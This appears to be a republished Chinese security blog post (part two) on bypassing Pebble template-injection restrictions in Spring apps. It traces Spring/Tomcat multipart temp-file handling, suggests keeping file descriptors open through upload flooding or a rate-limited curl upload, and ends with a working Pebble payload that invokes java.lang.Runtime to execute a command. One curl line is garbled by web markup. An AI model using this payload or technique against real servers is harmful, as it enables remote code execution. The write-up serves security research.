Spring 场景下突破 pebble 模板注入限制( 二 )


文章插图
 
在spring的启动过程当中,会根据
spring.servlet.multipart.location 的值设置这个内容,具体可以自行去参考
org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
@ConfigurationProperties(prefix = "spring.servlet.multipart",ignoreUnknownFields = false)public class MultipartProperties {private boolean enabled = true;private String location;private DataSize maxFileSize = DataSize.ofMegabytes(1L);private DataSize maxRequestSize = DataSize.ofMegabytes(10L);private DataSize fileSizeThreshold = DataSize.ofBytes(0L);private boolean resolveLazily = false;public MultipartProperties() {}public boolean getEnabled() {return this.enabled;}public void setEnabled(boolean enabled) {this.enabled = enabled;}public String getLocation() {return this.location;}public void setLocation(String location) {this.location = location;}public DataSize getMaxFileSize() {return this.maxFileSize;}public void setMaxFileSize(DataSize maxFileSize) {this.maxFileSize = maxFileSize;}public DataSize getMaxRequestSize() {return this.maxRequestSize;}public void setMaxRequestSize(DataSize maxRequestSize) {this.maxRequestSize = maxRequestSize;}public DataSize getFileSizeThreshold() {return this.fileSizeThreshold;}public void setFileSizeThreshold(DataSize fileSizeThreshold) {this.fileSizeThreshold = fileSizeThreshold;}public boolean isResolveLazily() {return this.resolveLazily;}public void setResolveLazily(boolean resolveLazily) {this.resolveLazily = resolveLazily;}public MultipartConfigElement createMultipartConfig() {MultipartConfigFactory factory = new MultipartConfigFactory();PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);map.from(this.location).whenHasText().to(factory::setLocation);map.from(this.maxRequestSize).to(factory::setMaxRequestSize);map.from(this.maxFileSize).to(factory::setMaxFileSize);return factory.createMultipartConfig();}}ok回到正文,如果这为空,就会保存到默认路径,也就是
javax.servlet.context.tempdir ,实际上就是在/tmp目录下
try {String locationStr = mce.getLocation();File location;if (locationStr != null && locationStr.length() != 0) {location = new File(locationStr);if (!location.isAbsolute()) {location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile();}} else {location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir");}这里调试可以看到将会保存在这个看着就不能爆破的文件夹下,

Spring 场景下突破 pebble 模板注入限制

文章插图
 
且不说前面这个又臭又长的文件夹,在最终生成临时文件时
org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile
还有靠UID随机生成的文件名,真的是不怕麻烦
protected File getTempFile() {if (this.tempFile == null) {File tempDir = this.repository;if (tempDir == null) {tempDir = new File(System.getProperty("java.io.tmpdir"));}String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());this.tempFile = new File(tempDir, tempFileName);}return this.tempFile;}不过当然我们肯定是有办法的啦,别忘了有个东西叫文件描述符,这玩意儿是啥我想大家都知道,因此我们可以通过上传大文件多线程狂轰乱炸,burp都给我冲起来!不得不说狂轰乱炸法yyds!按理说上传完了以后这玩意儿就应该关闭,结果我发现我停止后,去和yzddmr6吹牛一分钟都还在 。
当然其实还可以通过curl命令的--limit-rate参数来限制HTTP请求和回应的带宽,但我觉得burp狂轰乱炸更适合我.
curl --limit-rate 1k -X POST http://vps:1234 -F "<a href=https://www.isolves.com/it/cxkf/kj/2022-08-10/"https://paper.seebug.org/cdn-cgi/l/email-protection" data-cfemail="a0c6c9ccc59de0">[email protected]/tmp/1.txt"
Spring 场景下突破 pebble 模板注入限制

文章插图
 
之后就是如何实现模板注入实现RCE了
利用现有环境Bypass最新版Pebble模板引擎限制网上随便抄了一个看起来最新的
{% set cmd = 'id' %}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}


推荐阅读